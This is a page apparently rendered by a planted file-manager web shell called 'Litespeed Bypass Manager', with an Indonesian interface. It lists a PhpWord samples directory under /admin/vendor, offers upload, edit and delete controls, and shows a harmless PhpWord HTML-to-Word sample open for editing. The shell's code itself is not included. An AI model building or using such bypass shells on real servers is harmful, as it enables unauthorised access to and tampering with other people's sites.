Litespeed Bypass Manager
Direktori:
/admin/vendor/phpoffice/phpword/samples
⬆️ Kembali
Buat Folder Baru
Buat Folder
Upload File
Upload
⚠️ Litespeed Uploader
Isi Folder
📁
bootstrap
Folder
Hapus
📁
resources
Folder
Hapus
📁
results
Folder
Hapus
📄 Sample_01_SimpleText.php
Edit
Hapus
📄 Sample_02_TabStops.php
Edit
Hapus
📄 Sample_03_Sections.php
Edit
Hapus
📄 Sample_04_Textrun.php
Edit
Hapus
📄 Sample_05_Multicolumn.php
Edit
Hapus
📄 Sample_06_Footnote.php
Edit
Hapus
📄 Sample_07_TemplateCloneRow.php
Edit
Hapus
📄 Sample_08_ParagraphPagination.php
Edit
Hapus
📄 Sample_09_Tables.php
Edit
Hapus
📄 Sample_10_EastAsianFontStyle.php
Edit
Hapus
📄 Sample_11_ReadWord2007.php
Edit
Hapus
📄 Sample_11_ReadWord97.php
Edit
Hapus
📄 Sample_12_HeaderFooter.php
Edit
Hapus
📄 Sample_13_Images.php
Edit
Hapus
📄 Sample_14_ListItem.php
Edit
Hapus
📄 Sample_15_Link.php
Edit
Hapus
📄 Sample_16_Object.php
Edit
Hapus
📄 Sample_17_TitleTOC.php
Edit
Hapus
📄 Sample_18_Watermark.php
Edit
Hapus
📄 Sample_19_TextBreak.php
Edit
Hapus
📄 Sample_20_BGColor.php
Edit
Hapus
📄 Sample_21_TableRowRules.php
Edit
Hapus
📄 Sample_22_CheckBox.php
Edit
Hapus
📄 Sample_23_TemplateBlock.php
Edit
Hapus
📄 Sample_24_ReadODText.php
Edit
Hapus
📄 Sample_25_TextBox.php
Edit
Hapus
📄 Sample_26_Html.php
Edit
Hapus
📄 Sample_27_Field.php
Edit
Hapus
📄 Sample_28_ReadRTF.php
Edit
Hapus
📄 Sample_29_Line.php
Edit
Hapus
📄 Sample_30_ReadHTML.php
Edit
Hapus
📄 Sample_31_Shape.php
Edit
Hapus
📄 Sample_32_Chart.php
Edit
Hapus
📄 Sample_33_FormField.php
Edit
Hapus
📄 Sample_34_SDT.php
Edit
Hapus
📄 Sample_35_InternalLink.php
Edit
Hapus
📄 Sample_36_RTL.php
Edit
Hapus
📄 Sample_37_Comments.php
Edit
Hapus
📄 Sample_38_Protection.php
Edit
Hapus
📄 Sample_Footer.php
Edit
Hapus
📄 Sample_Header.php
Edit
Hapus
📄 index.php
Edit
Hapus
Edit File: Sample_26_Html.php
<?php include_once 'Sample_Header.php'; // New Word Document echo date('H:i:s') , ' Create new PhpWord object' , EOL; $phpWord = new \PhpOffice\PhpWord\PhpWord(); $section = $phpWord->addSection(); $html = '<h1>Adding element via HTML</h1>'; $html .= '<p>Some well formed HTML snippet needs to be used</p>'; $html .= '<p>With for example <strong>some<sup>1</sup> <em>inline</em> formatting</strong><sub>1</sub></p>'; $html .= '<p>Unordered (bulleted) list:</p>'; $html .= '<ul><li>Item 1</li><li>Item 2</li><ul><li>Item 2.1</li><li>Item 2.1</li></ul></ul>'; $html .= '<p>Ordered (numbered) list:</p>'; $html .= '<ol><li>Item 1</li><li>Item 2</li></ol>'; $html .= '<p>List with complex content:</p>'; $html .= '<ul> <li> <span style="font-family: arial,helvetica,sans-serif;"> <span style="font-size: 12px;">list item1</span> </span> </li> <li> <span style="font-family: arial,helvetica,sans-serif;"> <span style="font-size: 12px;">list item2</span> </span> </li> </ul>'; $html .= '<table style="width: 50%; border: 6px #0000FF double;"> <thead> <tr style="background-color: #FF0000; text-align: center; color: #FFFFFF; font-weight: bold; "> <th style="width: 50pt">header a</th> <th style="width: 50">header b</th> <th style="background-color: #FFFF00; border-width: 12px"><span style="background-color: #00FF00;">header c</span></th> </tr> </thead> <tbody> <tr><td style="border-style: dotted;">1</td><td colspan="2">2</td></tr> <tr><td>4</td><td>5</td><td>6</td></tr> </tbody> </table>'; \PhpOffice\PhpWord\Shared\Html::addHtml($section, $html, false, false); // Save file echo write($phpWord, basename(__FILE__, '.php'), $writers); if (!CLI) { include_once 'Sample_Footer.php'; }
Simpan
Catatan: Mengedit file biner tidak disarankan.